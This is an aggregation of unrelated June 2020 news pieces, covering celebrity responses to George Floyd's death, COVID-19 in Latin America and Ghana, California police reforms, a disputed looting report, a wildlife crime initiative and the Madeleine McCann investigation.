Lucy Hale took to her Instagram in support of both Black lives and trans lives, as June is Pride Month.

Olivia Jade Giannulli participated in a challenge on her Instagram story, in which she was selected to donate to National Bail Out.

Nick Cannon said during an interview with Access: 'My children fear police. It's a real statement. I didn't say, "You should be." I try to teach fearlessness. I try to teach, "You have a power within you that you need to fear nothing."'

Lena Dunham posted in a statement as she announced several donations: 'Thought it may be a challenge especially right now, for those who can, let's form an ongoing practice of making reparations today, no matter how small or large the amount.'

Black is beautiful: Blac Chyna posted a stunning selfie to promote Fashion Nova, writing: 'My black is beautiful'

BLM leader: Kaia Gerber announced that BLM ambassador Janaya Future Khan will be going live Friday on her Instagram

Trans Lives Matter: Lucy Hale took to her Instagram in support of both Black lives and trans lives, as June is Pride Month

Good cause: Olivia Jade Giannulli participated in a challenge on her Instagram story, in which she was selected to donate to National Bail Out

Fear police: Nick Cannon said during an interview with Access: 'My children fear police. It's a real statement.'

Making reparations: Lena Dunham posted in a statement as she announced several donations: 'Thought it may be a challenge especially right now, for those who can, let's form an ongoing practice of making reparations today, no matter how small or large the amount'

Sophia Bush posted some photos from a protest, writing in a heartfelt statement: 'Imagine the most beautiful future for your city...can you think of it? They are organizing right now so it can HAPPEN. For all of us. So, please. Show up. Learn. Be vulnerable. Listen.'

Leonardo DiCaprio announced some donations, writing: 'I am dedicated to end the disenfranchisement of Black America, that has been present for too long.'

Hilaria Baldwin took to her story as she had a conversation with her kids about systemic racism.

Tia Mowry posted about being biracial, as she recounted the different experiences she faced with her black mother and white father.

Drew Brees shared a video apology after he stated the kneeling during the anthem was 'disrespecting the flag.'

Abby Lee Miller also posted an apology for past racist remarks: 'While I cannot change the past or remove the harm I've done, I promise to educate myself, learn, grow, and do better.'

Jake Paul attempted to take the spotlight off himself after he was charged in connection with looters: 'Gimme my charges and lets put the focus back on George Floyd and Black Lives Matter.'

Beautiful future: Sophia Bush posted some photos from a protest, writing in a heartfelt statement: 'Imagine the most beautiful future for your city...can you think of it? They are organizing right now so it can HAPPEN.'

Paying it forward: Leonardo DiCaprio announced some donations, writing: 'I am dedicated to end the disenfranchisement of Black America, that has been present for too long'

Important conversation: Hilaria Baldwin took to her story as she had a conversation with her kids about systemic racism

Biracial experience: Tia Mowry posted about being biracial, as she recounted the different experiences she faced with her black mother and white father

Making amends: Drew Brees shared a video apology after he stated the kneeling during the anthem was 'disrespecting the flag'

Heartfelt apology: Abby Lee Miller also posted an apology for past racist remarks
The President made the fight against this pandemic Governments number one priority and declared the disease a national disaster. He reiterated to the nation that we have to limit, suspend or forego certain social, economic and recreational activities we have become accustomed to and jointly make sacrifices if we are to win the fight against this pandemic. The President emphasised that this is no longer business as usual, she said.
The coronavirus outbreak in Brazil has steadily worsened as the number of infections rose to nearly 615,000 and it overtook Italy as the country with the third-highest number of Covid-19 deaths.

On Thursday, Brazils health ministry reported a daily record of 1,473 fatalities, taking its death toll to more 34,021. The countries with higher death tolls than Brazil are the US, which has the most number of fatalities, followed by the UK.

Latin America as a whole has become a new focus of the coronavirus pandemic, as Mexico reported a record number of new cases and total deaths there surpassed 12,000.

Health officials urged regional governments not to end quarantine measures to avoid more cases, but regional leaders have pushed to lift restrictions and reopen their economies.

Brazilian President Jair Bolsonaro had downplayed the pandemic since it began, strongly criticising social distancing measures and encouraged regional government to lift restrictions for the sake of the economy.

He dismissed the novel coronavirus as a little flu, and on Tuesday, Mr Bolsonaro told Brazilians that death is everyones destiny when asked to address the relatives of those who succumbed to Covid-19.

In an online broadcast on Thursday, Mr Bolsonaro continued to attack the quarantine measures and encouraged the federal solicitor general to sue states to force them into reopening their beaches.

He said: We cant go on like this. Nobody can take it anymore. The collateral impact will be far greater than those people who unfortunately lost their lives because of these last three months here.

Mexican President Andres Manuel Lopez Obrador also urged his countrymen not to overreact, warning of psychosis and noting that deaths per capita for the regions nearly 130 million people was still lower than in many other countries.

According to Spanish-language newspaper El Universal, Mr Obrador defended the response to the outbreak, and said it had been adequate.

We were lucky that the pandemic did not his us first and that allowed us to prepare ourselves, that we did not lack beds, that all the sick could be hospitalised, he told reporters on Wednesday.

His comments come after reports of morgues and storage rooms full of bodies, indicating the number of people who have died from the coronavirus could be much higher than official government figures.

According to Sky News, an anonymous government official said last month the actual mortality rate was at least five times higher than the figures published by the government.

In Rio de Janeiro, which has been hit hard by the outbreak, the mayor allowed over 10,000 street vendors to go back to work on Thursday. According to John Hopkins University, there are over 60,932 positive coronavirus cases in the city, with 6,327 deaths.

Additional reporting by Reuters
In a presentation shown to reporters, Jeff Meacham, an actor from ABCs black-ish, had a conversation with a Barbie doll. Ryan Seacrest, who hosts American Idol, called Disney a reach machine for its popularity with multiple generations. Kerry Washington, who stars in Little Fires Everywhere on Hulu, talked up product placement opportunities.

The topic of production delays laid bare the effect of the pandemic. The new season of the National Geographic show Genius, featuring Cynthia Erivo as Aretha Franklin, halted filming with two episodes left. Supermarket Sweep, an ABC game show hosted by Leslie Jones, was stalled just before filming was set to start. After the death of George Floyd, Disney added a note to the presentations expressing support for the black community, saying that the company was struggling to make sense of all recent tragedies and that it was outraged by the killing of George Floyd among so many others.

TV viewership has surged during the pandemic, but companies have slashed budgets for commercials by more than 40 percent, according to the research firm Kantar. Ad spots, which had grown steadily more expensive in recent years, have sold for 20 percent or more below their usual rates, media buyers said.

Disneys ad revenue is expected to slump $1.4 billion this year and will not fully recover for another two years, according to a forecast from the research firm MoffettNathanson.

Many advertisers are unable to commit to budgets, and many TV networks dont have finished product to sell, said Tim Nollen, an analyst with Macquarie Capital, in a note to investors last month.

Companies canceled between 15 and 20 percent of third quarter spending commitments with ABC, up from 5 to 10 percent normally, said Rita Ferro, Disneys ad sales chief, in an interview.

Networks hope that sales recover as golf and other sports return. To lure advertising dollars, networks are dangling flexible payment terms.
Gov. Gavin Newsom greets Candace O'Connor, owner of Brimberry Barber and Beauty Salon, on Wednesday in Los Angeles after she shared her thoughts on running a business in the time of COVID-19 and the recent protests. (Genaro Molina / Los Angeles Times)

After a week of protests across the state against police brutality and racial injustice, Gov. Gavin Newsom on Friday called for new restrictions on crowd control techniques and the use of force by law enforcement, including a ban on so-called "carotid holds," after George Floyd was killed by a Minneapolis police officer.

Newsom said the controversial technique, a restraint that puts pressure to the sides of a persons neck to restrict blood flow and can render the person unconscious, should be barred from the state police training program, adding that he will work with lawmakers to ban the practice among law enforcement agencies statewide.

"We train techniques on strangleholds that put people's lives at risk," Newsom said during a press briefing in Sacramento. "Now we can argue that these are used as exceptions. But at the end of the day, [a] carotid hold that literally is designed to stop people's blood from flowing into their brain, that has no place any longer in 21st century practices and policing."

The Democratic governor vowed to work with the California Legislative Black Caucus, community leaders and law enforcement officials on new use-of-force standards, and restrictions on how to respond to protests and demonstrations.

"Protesters have the right not to be harassed. Protesters have the right to protest peacefully. Protesters have the right to do so without being arrested, gassed, shot up by projectiles," Newsom said. "That's a simple value statement."

The announcement comes at the end of a week in which Newsom embarked on a listening tour in Los Angeles, Stockton and Sacramento as protests against police brutality and demands for racial justice continued across California, part of a nationwide uprising following Floyd's death.

Newsom said the nation is in dire need of sweeping cultural change and commitments to equality and that the country as a whole has been paying "lip service about that for generations" to the black community. Still, he has cautioned that there are no quick fixes, and that change must be driven by community groups, nonprofits, business leaders and individuals  along with the government.

Story continues

California already has established itself as a leader in criminal justice reform, Newsom said, legalizing the use of marijuana and working to eliminate sentencing policies that discriminated against blacks, Latinos and Californians on the lower end of the income scale.

He noted that his proposed budget calls for the closure of two state prisons, and the elimination of the state Dept. of Juvenile Justice. He touched on his executive order enacting a moratorium on the death penalty, a sentence which he said "discriminates based on the color of your skin, discriminates based on wealth."

"We're trying our best in this state, but we have to do more," Newsom said.

Among the community leaders Newsom is consulting is Lateefah Simon, president of the Oakland-based Akonadi Foundation, an organization focused on the racial justice movement and efforts to eradicate structural racism.

"This inflection moment in this country and, frankly, around the world, suggests that we get it right. That we identify this moment for what it is  a sea change in facing race and racism," said Simon, who appeared with Newsom on Friday. "We can't go back." So for those men and women for decades and literally centuries who have been calling and demanding a shift  we owe them. We owe them."

On Friday, members of the Legislatures black and Latino caucuses, among others, introduced legislation that would make it illegal for officers to use "carotid holds."

The world watched as the 200-pound weight of a police officer was leveraged on the neck of George Floyd for over eight minutes, said Assemblyman Mike Gipson (D-Carson), the lead author of the legislation. We all witnessed this execution. This was far beyond the existing law that authorizes a peace officer to use reasonable force to effect the arrest, to prevent escape or to overcome resistance.

Earlier this week, San Diego Police Chief David Nisleit said his officers will immediately stop using the controversial neck hold, calling the decision the right thing to do for our community.

In 1982, the Los Angeles Police Commission acted to limit the use of the carotid chokehold after the death of James Mincey Jr., a 20-year-old black man who was put in a carotid hold after leading officers on a high-speed car chase.

The LAPD restricts the use of a carotid restraint to situations requiring deadly force.

Gipson said his bill is supported by members of the California Legislative Black Caucus, the Latino Legislative Caucus, the Asian Pacific Islander Legislative Caucus, the Legislative Jewish Caucus and the Legislative LGBTQ Caucus.

Speaking as a legislator and elected official, we have to do better, Gipson said. We have to hold those in authority accountable.

Newsom on Thursday also announced his support for a proposal from Assemblywoman Shirley Weber (D-San Diego) to study the impact of slavery and consider potential reparations, a longtime priority of the California Legislative Black Caucus. Newsom this week also pointed to Weber's landmark police use-of-force bill that he signed into law in 2019 as evidence of progress at the state level.

In his second year in office, Newsom faces the delicate task of helping lead California through yet another crisis, with the state's major cities enveloped by demonstrations against decades of discrimination and racial inequality, as well as clashes with law enforcement and separate incidents of violence and looting.

Atty. Gen. Xavier Becerra said Friday that his office will investigate the policies and actions of the Vallejo Police Department, which has come under fire in recent days after the shooting by police of Sean Monterrosa, a 22-year-old unarmed Latino man, amid this weeks protests against police abuse.

The states top law enforcement officer also asked Congress on Friday to expand federal law to give state attorneys general clear authority to investigate and resolve patterns and practices of unconstitutional policing.

When our communities speak up about their pain, we in law enforcement have to listen and take action, Becerra said during a telephone press conference. George Floyds death didnt happen in a vacuum; its a symptom of the collective failing of our criminal justice system to adequately stand up for people of color. We have to do better.

Becerra said the review of the Vallejo Police Department is similar to those launched previously by the state Department of Justice for the San Francisco, Sacramento and Bakersfield police departments, and in regard to the Los Angeles Police Departments use of a database of gang members.
On Monday, at 3 a.m., a Rolex store in downtown Manhattan was ransacked. The glass windows were smashed in, a vitrine built to elegantly display the worlds finest watches was shattered, and $2.4 million of merchandise was reportedly stolen. Two suspects were detained with stolen merchandise. In the process of making an arrest, a male officer fell through a glass door and tumbled down the stairs. A police officer shared his harrowing description of the aftermath: The Rolex store is empty. They stole like $2.4 million in Rolexes.

Or so went the version of events reported in The New York Post on Monday night.

Except, for starters, there is no Rolex store on Greene Street, as the Post wrote. The store in question is the New York branch of Watches of Switzerlandan authorized Rolex dealer, but by no stretch of the imagination a Rolex store. On top of that, store representatives deny that anything at all was stolen, and report that the damage was instead very minimal. The discrepancy between the story and the denial is the subject of a tweet shared almost 90,000 times. The Post did not respond to a request for comment.

The idea that even during normal circumstances $2.4 million worth of Rolex watches could have been stolen so easily from the Watches of Switzerland store is preposterous. Before the coronavirus-related shutdown, Watches of Switzerland would remove watches from the floor and store them in a safe every night. And because the store hasnt been open during the pandemic, there wasnt even any merchandise in the store to begin with. Watch obsessives also laughed at the idea that Rolex, a brand with limited hard-to-find and buy watches, would have $2.4 million worth of merchandise just laying around.

In an email, David Hurley, Watches of Switzerland Groups executive vice president, came out strongly against the story and the way its being used. "Its unfortunate that at a time like this, certain media outlets have been perpetuating a false narrative regarding the incident that occurred at our Watches of Switzerland Soho boutique during the early hours of Monday, June 1st, he wrote. First, its important to note that while Rolex is a brand partner of ours, this is not a Rolex boutique. Second, the damage to the store was minimal and consisted of a few broken windows and smashed vitrines. Most importantly, and let me be very clear about this, no product was on display and absolutely no watches were stolen.

Story continues

Even the Posts recounting of two people arrested and charged for burglarizing in the fracas, leaves out important details. Like the inconvenient fact that neither of the men arrested...stole anything from the store. [One suspect] was found to be in possession of clothing believed to have been removed from other locations and [the other] was not in possession of any stolen merchandise at the time of the arrest, a representative with the NYPD told GQ. The NYPD rep did not know where the $2.4 million figure came from, adding, theres a lot of misinformation in that [Post] article itself.

(The representative also noted that the department didnt have any record of the store or its manager filing a complaint report yet. The fact that a complaint hasnt come in yet is not typical, according to the representativebut they added the information could be delayed because there are so many locations that are being hit.)

A story blaring the loss of such a gaudy amount of merchandise seems to be of a piece with other questionable information peddled to paint recent protesters in a negative light. Fox News reported on looting and rioting that left a trail of destruction across American cities. NYPD commissioner Dermot Shea told the outlet, when it turned dark, it turned ugly and it turned that way fast. Shea also tweeted an image of conspicuously pristine boxes of bricks on street corners in New York, and accused organized looters for strategically placing them there. (Both Fox News and the New York Post are owned by Rupert Murdochs News Corporation.) Meghan McCain shared on Twitter that her neighborhood was eviscerated and looks like a warzone, later adding that she had not been in the neighborhood to witness the scene herself.

Is it possible that a police officer looking over an empty Watches of Switzerland, its windows smashed in, might believe its inventory was wiped out? Entirely possible. But without a formal complaint from the store, its unclear where that $2.4 million figure came from. In the end, even after the so-called fracas and trail of destruction, its worth noting that, despite panic-inducing reports about looting across Manhattan, things arent looking so grim on Greene Street: the Watches of Switzerland store was fully restored in a day and a half.

Originally Appeared on GQ
Pandemic spurs End Wildlife Crime drive

HONG KONG: The economic, health and social impacts of the COVID-19 pandemic provide a stark reminder of the high risks associated with the under-regulated, poorly regulated and illegal trade in wildlife, a new international initiative to End Wildlife Crime announced today (June 5).

Environment

By The Phuket News

Friday 5 June 2020, 10:28AM

Today, World Environment Day, an alliance of environmental, policy, legal, business and public health experts urged the global community to address serious gaps in international law by:

creating a new global agreement on wildlife crime, and

making changes to existing international wildlife trade laws to include public and animal health considerations in decision making.

Transnational wildlife crime is a US$200 billion-a-year illegal industry but this figure pales in comparison to the costs to local communities, public and animal health and to our environment. Yet there currently is no global legal agreement on wildlife crime.

The COVID-19 pandemic reminds us, in a devastating way, of the interconnected nature of things, most particularly among economies, the environment, human and wildlife health and welfare, said John Scanlon AO, former Secretary General of CITES and Chair of the #endwildlifecrime Initiative. Our international laws, programmes and funds do not yet reflect this reality, which is also largely the case at the national level.

The current international system for regulating wildlife trade and combating wildlife crime is inadequate, and, left as it is, will not prevent the next pandemic, he continued.

Will Travers OBE, co-founder and Executive President of the Born Free Foundation said that there is urgent need for transformative change before it is too late.

More than a million wild species face extinction and the risk of another global pandemic cannot be ignored, Mr Travers said. By bearing down on wildlife crime we can help slow, halt then reverse the decline in biodiversity. We can also help to ensure that humanity never again has to suffer the devastating impacts on public health, livelihoods and social order that we are witnessing today.

Chaired by Mr Scanlon, hosted by ADM Capital Foundation in Hong Kong, and with Founding members the Born Free Foundation, The Food and Land Use Coalition, the Global Environmental Institute and The ICCF Group, the Initiative gathers an array of organisations and individuals in its Steering Group representing environmental, policy, business and public health interests.

The initiative also includes advisers on private sector engagement and building partnerships, as well as a technical support group that includes renowned international lawyers and criminologists.

How will the Initiative take action?

The Initiative has come together to support the development and adoption of a wildlife crime protocol under the United Nations Convention against Transnational Organised Crime (UNTOC), and amendments to the Convention on International Trade in Endangered Species of Wild Fauna and Flora (CITES), the global agreement that regulates international wildlife trade, that would incorporate public and animal health criteria into its decision making.

These two inter-related reforms would bring new wildlife trade restrictions on public and animal health grounds, and bans on high-risk markets and consumption, alongside a cooperative global enforcement effort to end wildlife crime.

We need new legal mechanisms to tackle the devastating impact these crimes have on local communities, country economies and global public health, said Doug Flynn, SYSTEMIQs biodiversity lead, representing the Food and Land Use Coalition.

How does wildlife crime and trade endanger global heath?

Scientific research indicates that the highly contagious coronavirus that causes COVID-19 was most likely transmitted to humans from its reservoir host, a horseshoe bat, via another intermediate host species, possibly a pangolin.

We have ignored the warnings for years that wildlife markets are repositories for disease, yet the trade has continued with insufficient regulation, said Lisa Genasci, CEO of the ADM Capital Foundation. Sadly, its easier to maintain the status quo than act to protect global health.

As COVID-19 cases climb into the millions, the global death toll creeps towards 400,000, and the health risks of wildlife trade and crime are better known, the time has clearly arrived for the international legal framework governing wildlife trade that dates back to the 1970s to be reformed, the Group said.

It is essential that we address the dangers of commercial wildlife trade and commercial markets  especially as they lead to pandemics such as the one we are confronting at this moment  while respecting indigenous rights and sustainable means of wildlife utilisation", said David H. Barron, Chairman of The ICCF Group.

Dont we already have laws on this?

The UN World Wildlife Crime Report found that wild species of animals and plants are bought and sold for meat, for traditional medicines, for furniture, as pets, and for other luxury or non-essential products, with the Report finding that 7,000 of the 36,000 species listed under CITES are in the illegal trade.

While CITES was established to ensure that the international trade in wild animals and plants does not threaten their survival, it does not apply to domestic trade. CITES requires Parties to penalise rather than criminalise breaches, and it only applies to less than 0.5% of the worlds 8 million species.

CITES does not include animal or public health criteria in its decision making. Taking a One Health approach to the wildlife trade is needed if we are to minimise the risks of disease spilling over from wild animal populations to humans again.

In his capacity as Chair of the Steering Group, Scanlon encouraged organisations from across all sectors, and interested individuals, to show their support by signing onto the initiative at www.endwildlifecrime.org.

If we do not act boldly now to institutionalise the changes that are needed to laws, I fear we may find ourselves back in the same place in the not too distant future, Scanlon said. This Initiative puts forward reforms that can best position us to avert the next wildlife-related pandemic.
The Sekondi-Takoradi Chamber of Commerce and Industry(STCCI) has appreciated the government for easing the restrictions imposed on individuals and businesses to enable them to bounce back and resuscitate economic life of the business community.



The Chamber in their first quarter survey on the performance of businesses in the Western Region established that local demand for goods and services drastically halted due to social distancing protocol and the lockdown in these abnormal times of the COVID-19 pandemic.



Mr Benjamin Nii Kpani Addy, an Executive Member of the Chamber and lead in the Survey said, "We realized how businesses have been affected and in fact, reduction in local demand of commodities this time topped the usual hew and cry about availability and sources of financing".



The first quarter business survey was this time conducted digitally not forgetting some associated challenges as many of the businesses were not digitally inclined.



The Chamber with support from the Hamburg Chamber of Commerce and Sequa continued to organise such quarterly research on businesses to know their challenges, provide relevant data for planning and policy as well as ensure informed decision making.



Nii Kpani Addy said the survey also allowed the chamber to better advocate on businesses and their need as well as serve as a reservoir of economic information on businesses in the Region.



Of the businesses assessed, 32 percent were satisfied, while 58 percent described trading as bad in the quarter under review, meanwhile, 10 percent said business was good due to prudent management practices.



There was a 20 percent decrease in employment levels accounting for some layoffs in the business sector.



The survey discovered that 40 percent of businesses failed to plough back into their businesses while 13 percent dared to make that giant step of reinvesting in capacity extension, customer requirement, and product innovation.



Nii Kpani Addy, while lauding the government for the stimulus package to resuscitate businesses called for measures to strictly enforce all the Protocols on the virus to ensure that life returned to normal.



He also encouraged all types of businesses to be digitally active to take advantage of online trading and transaction.

Source: GNA









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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With almost 114,000 COVID-19 cases confirmed since March 4, Chile has the third highest number of cases, after Brazil and Peru, in Latin America, one of the epicenters of the virus. With a population of 19 million, Chile is reporting close to 5,000 new cases of COVID-19 a day, a rate comparable, in per capita terms, to Spain at the peak of the viral spread last March.

It is forecast that, at the present rate, within two months, the death toll may reach 10 times yesterdays figure of 1,275. This loss of life is the inevitable outcome of decades of pro-corporate policies that have led to a chronically underfunded health system, now on the verge of collapse. They have also produced extreme poverty, overcrowding and a lack of infrastructure in working class neighborhoods that has led to continued hunger riots.

Youth, the working class and the lower-middle classes who demonstrated against capitalism in their millions last year, are today confronting the full brunt of the anti-social policies of the ultra-right government of President Sebastian Pinera and the entire parliamentary left.

In a statement made earlier in March, Health Minister Jaime Manalich raised that the health system might not be able to handle coronavirus cases once they passed 100,000. But the ministry did nothing to contain the virus. It has not introduced strict quarantining measures, applied a countrywide lockdown, expanded testing, broadened contact tracing, or ordered the closure of non-essential workall measures advised by the WHO. Nor did it significantly increase the health care budget to deal with decades of under-resourcing and understaffing.

On the contrary, the government adopted a criminally reckless policy of dynamic quarantining, which meant letting the disease spread before reacting to the outbreak and only then placing in and out of quarantine a commune, province and now a region on the basis of unclear criteria. Manalichs homicidal dynamic quarantining policy, which has condemned untold thousands to disease and death, was a calculated maneuver to forestall for as long as possible forking out financial resources to the ailing health system and for emergency social measures to aid the poverty-stricken population.

To introduce the WHO recommendations would have required increasing by orders of magnitude public expenditure, something excluded under Chiles much-lauded free-market system, which essentially works by pillaging the historically-accumulated social wealth collectively created by the working masses and placing it at the disposal of international finance capital. Hospital care, education, pensions and social security are not social rights but commodities bought and sold on the market.

Now with a contraction of up to 4.5 percent forecast for 2020 due to a deterioration in global demand for exports and a sharp reversal in capital inflows, Pinera was granted from the IMF a flexible credit line of US$24 billion over two years. It can be safely predicted that this will not be used to ease the hardships of the masses, but rather to save big business and guarantee liquidity.

The official unemployment rate for the February-April quarter reached 9 percent, the highest in 10 years. This was due to a drop in demand for the retail, agriculture, fishing and manufacturing industries.

Another estimate, however, found that if the totals of the a) unemployed but actively looking for work, b) not looking for work, and c) receiving severance insurance, are combined, then the real unemployment figure is closer to 25 percent of the national labour force, the highest since the 1982 depression.

Whole layers of postgraduates and the professional middle class have lost jobs or are having salaries cut in half. Rental properties have reduced prices by up to a quarter for up to six months in Covid promotions to try and attract tenants as vacated rental apartments proliferate across Santiago and other regional cities.

Many thousands are moving back with parents, extended families or into share arrangements. Families are moving in with other families to reduce costs of utilities and other expenses. Several families in San Pedro de La Paz near the southern city of Concepcion have sought refuge in abandoned buildings declared uninhabitable after the 2010 earthquake caused structural damage.

The banks, meanwhile, continue to charge at full rates on credit card debts, student loan debts, and mortgages. Adding insult to injury the State Bank confiscated a risible 65,000 pesos (US$80) emergency fund from the government to pay off personal account debts, while the much vaunted food hampers promised by the government to 2.5 million indigent are expected to reach eligible families in an undefined near future, and not today, when they need them most.

Two separate studies reported that in the poorer working class communes people are going to work despite being sick with coronavirus. A joint study by the University of Chile and the Medical Association found that 15.2 percent of people with COVID-19, 24 percent of those suspected of having the disease and 43.6 percent of those with symptoms were still going to work. To do otherwise would condemn their families to starve as the state has provided no substantive assistance in a country where the majority have been pushed into poverty.

The protests that erupted May 18 against rising unemployment, poverty, homelessness and hunger have continued throughout the country as working class communities confront the third month of the COVID-19 outbreak in Chile. Dozens of residents have continued to gather in El Bosque with barricades and hold protests along with Cerro Navia, San Bernardo in the Metropolitan Region and in outer regions.

The free-market reality is expressed just as sharply in health care. A survey conducted last month by the national Medical Association found that 75 percent of health teams lacked PPE: N95 masks (62.71 percent), visual covers (51 percent), breastplates (34.35 percent), surgical masks (33.39 percent) and gloves (15.78 percent).

The Nurses Association also released the results of a survey conducted earlier in the month which found that 39.2 percent of respondents reported nurses in quarantine in their facility, 60.5 percent of facilities did not provide replacement staff and 72 percent did not have staff access to PCR or other rapid tests.

Eighty-nine percent stated that they did not have access to one or more items of PPE during their daily work, among which were N95 masks (61.4 percent), boots (51.5 percent), face shields (37 percent), surgical masks (36.9 percent), disposable aprons (35.4 percent) and alcohol gel (29.9 percent). Finally, and most damningly, 63.7 percent did not have at their establishment mental health support programs aimed exclusively at health personnel.

The health ministry reported that there are 3,707 health officers infected with coronavirus and in quarantine today. Since March 3, 12,051 public health workers have either been infected with COVID-19 or have had to go into preventive quarantine. This breaks down to 4,882 infected personnel and 7,169 in quarantine. In the private clinics 1,958 staff have been infected, and 3,158 have had to go into preventive quarantine.

With current conditions, the Institute for Health Metrics and Evaluation (IHME) at the University of Washington estimates that 11,970 will die by the end of August. These calculations do not take into account, however, a viral spread and death rate in an environment where the countrys hospital system is on the verge of collapse. This is the situation today with 84 percent of the nations mechanical ventilators in use, even as the private clinics refuse to increase their share of critical beds and machines.

It was reported last week that the hospital system in Greater Santiago, with more than 7 million people, was saturated and patients were being transferred to outer regions. That is, the region with the most important and largest health system within the country has almost collapsed, reaching 95 percent occupancy. The southeast zone, under the most pressure, has already reached overcapacity, followed by the central and western zones with 97 percent, north with 95 percent, the south at 94 percent and the east with 92 percent.

This has created chaos in the hospital system. Ambulance drivers protested after they had to wait more than 15 hours with patients suspected of having COVID-19. Patients have had to wait for hours on stretchers. Staff have been instructed to suspend preventive quarantines for COVID-19 early and to return to work. Lunch breaks have been reduced to 15 minutes, and staff have been instructed to reuse masks for three days. Protests over lack of protective gear and insufficient ICU beds have broken out in several hospitals; patients in field tents are forced to wait three to four days before being admitted into an ICU ward.

No patients could be transferred to the second largest hospital system in the Valparaiso region as it, too, almost reached saturation point last week. Moreover, at least 1,100 staff at the Carlos Van Buren Hospital in Valparaiso have not received wages for the past two months.

Valparaiso has registered daily infections of between 100 and 150 cases for the last week, with a total of 3,164 cases, making it the second most infected area in the country. The medical profession has pleaded for weeks for stricter confinement measures in the region and especially in the communes of Valparaiso and Vina del Mar due to their large squatter settlements.

Rodrigo Cruz, director of the Infectious Disease Diagnosis and Research Center at the University of Valparaiso warned that if the virus spreads, the area will live a tragedy of proportions. There are tens of thousands of houses stuck to each other, with reduced access to basic services and with a large number of older people, many of whom have mobility problems or are bedridden, he said.

I understand that quarantines generate additional problems, but it seems to me that the priority today is to prevent people from dying. And if we dont act accordingly, deaths will continue to increase exponentially there, said Dr. Cruz.

According to the last report of the Chilean Society of Intensive Medicine, 82 percent of ICU beds are today occupied in the Antofagasta region. While unlike many other regions it can double the number of critical beds in circulation, due to a cache held in storage at the old regional hospital, Medical Association spokesman Dr. Hugo Benitez warned that the health system could still collapse if the quarantine is lifted and cases begin to rise.

Antofagasta, one of the main mining regions of the country to the north of Santiago, has the third highest number of confirmed cases. The number, 2,862, has more than tripled since a total quarantine was belatedly applied on May 3, when there were already 740 cases.

Despite this, Manalich announced last week that he will lift the quarantine. This has nothing to do with health considerations, but rather the interests of the mining corporations, which want to resume several new copper mining projects suspended in March following the outbreak of the coronavirus in Chile. The regular open pit operations have continued throughout this period.
Pakistani actress Mahira Khan, who also appeared in Bollywood film Raees opposite Shah Rukh Khan, says that she has never endorsed a skin lightening product. Her comment is important in todays context when many Bollywood celebrities are accused of endorsing fairness cream, which is seen as their prejudice against the dark skin.

A journalist put out a tweet that read: This is a genuine question - can you name me Bollywood/Pakistani stars who have never endorsed a skin lightening product?

Mahira quoted the tweet and wrote: Been refusing ever since I was a VJ till now. Never endorsed a skin lightening product.

Though the debate regarding the fairness cream endorsement has been in public domain for long, but it came in prominence in the aftermath of George Floyds death due to police brutality in America. Its believed that he was a victim of the racial prejudice by the police. Many Indian celebs strongly reacted to the incident and used the hashtag All Lives Matter while expressing their opinion on the matter, but their followers were quick to point out the paradox in the comments. They said if a celebrity is endorsing skin lightening product or a fairness cream, theyre also contributing to widening the divide on the basis of skin tone. Influencers like Hasan Minhaj and Abhay Deol have been very vocal in their attack on celebs endorsing fairness cream in the past.

Minhaj, the Patriot Act host, recently launched a special digital episode of his show which he dedicated to black protests. Being an Indian American Muslim, Hasan spoke directly to the Asian community and other immigrant minorities in America in a bid to educate them about racism and draw their support in the matter.

Read: Hasan Minhaj Tears Into Asian Hypocrisy in New Digital 'Patriot Act' Episode

In the 12-minute-long episode, Hasan said, "Depending on when you immigrated, you came to this country (US) for order and stability. We don't want it to be as f****d up as back home. But imagine if you lived in a country where the colour of your skin got you killed you would say that is a lawless country."

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The prime suspect in the disappearance of British toddler Madeleine McCann is being investigated for possible involvement in a similar crime in Germany, prosecutors said Friday.

Five-year-old Inga G. from Schoenebeck disappeared from a forest in the northern town of Stendal, around 60 miles west of Germanys capital Berlin, on May 2, 2015, almost eight years to the day after Madeleine went missing on May 3, 2007.

Inga G. has been missing since 2015. (Polizei Sachsen-Anhalt via AP)

Authorities have not released the suspect's name in the Inga G. case, but he has been widely identified by the German media as Christian B. His last name was not released because of German privacy rules. NBC News has not been able to confirm this.

Christian B. has also been named as the main suspect in the McCann case.

It is being assessed whether there is a connection between the two cases, a spokesperson for the prosecutors office in the city of Stade, told NBC News.

They added that were he to be linked to Inga Gs disappearance he could also become the accused in the proceedings here.

Madeleine was staying with her parents Gerry and Kate McCann and her younger twin siblings in a holiday apartment when she vanished from the Portuguese resort of Praia da Luz 13 years ago.

Her parents had put the children to bed and went out to eat at restaurant around 200 feet away. She vanished in the few hours they were gone.

Her disappearance sparked an international search, with missing posters of the little girl's face papered across the world and celebrity appeals for information that could help track her down and bring her abductors to justice.

Portuguese police closed the investigation in 2008, but after two years of reviewing case documents, London police reopened the case, which has transfixed Britain, in July 2013. They have since spent the equivalent of millions of dollars trying to find her, but no one has been charged and there have been no confirmed sightings.

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Announcing the new suspect on Wednesday London's Metropolitan Police said in a statement that they had established that he lived on and off in the Algarve between 1995 and 2007," and that he was "connected to the area of Praia da Luz."

The case was being treated as a suspected murder, German police said in a statement Thursday, adding they had determined the method used to kill McCann. No body has ever been found.

Image: Missing British girl Madeleine McCann before she went missing from a Portuguese holiday complex on Thursday, May 3, 2007. (AP file)

The suspect  who is currently imprisoned in Germany on unrelated offences  has a number of convictions for child sexual abuse, the statement said. It added that he was also thought to have earned his living "by committing criminal offences, such as burglaries of hotel complexes and holiday apartments as well as trafficking in narcotic drugs.

Both British and German police appealed for information about the man and released photographs of vehicles  a Volkswagen camper van and a Jaguar  which he used at the time.

The public prosecutor's office in Braunschweig is investigating, Braunschweig state prosecutor Hans Christian Wolters said Thursday.

"We assume that the girl is dead, he added.

A McCann family spokesman told NBC News that the suspects identification does feel more significant than previous announcements about the case.
Reliance Industries Ltd has said that Abu Dhabi state fund Mubadala Investment Co will buy a 1.85 per cent stake in its digital unit, Jio Platforms, for Rs 9,093.6 crore. Reliance has now sold a combined 19% interest in Jio Platforms, which houses movie, music apps and telecoms venture Jio Infocomm, in six fundraising deals including a 9.99% stake sale to Facebook Inc for $5.7 billion. The interest in Jio Platforms highlights its potential to become the dominant player in India's digital economy. The telecoms unit has already decimated several rivals with cut-throat pricing and ...
Former Vice President Joe Biden, the presumptive Democratic nominee for president in the 2020 election, says 10-15% of Americans are not very good people."

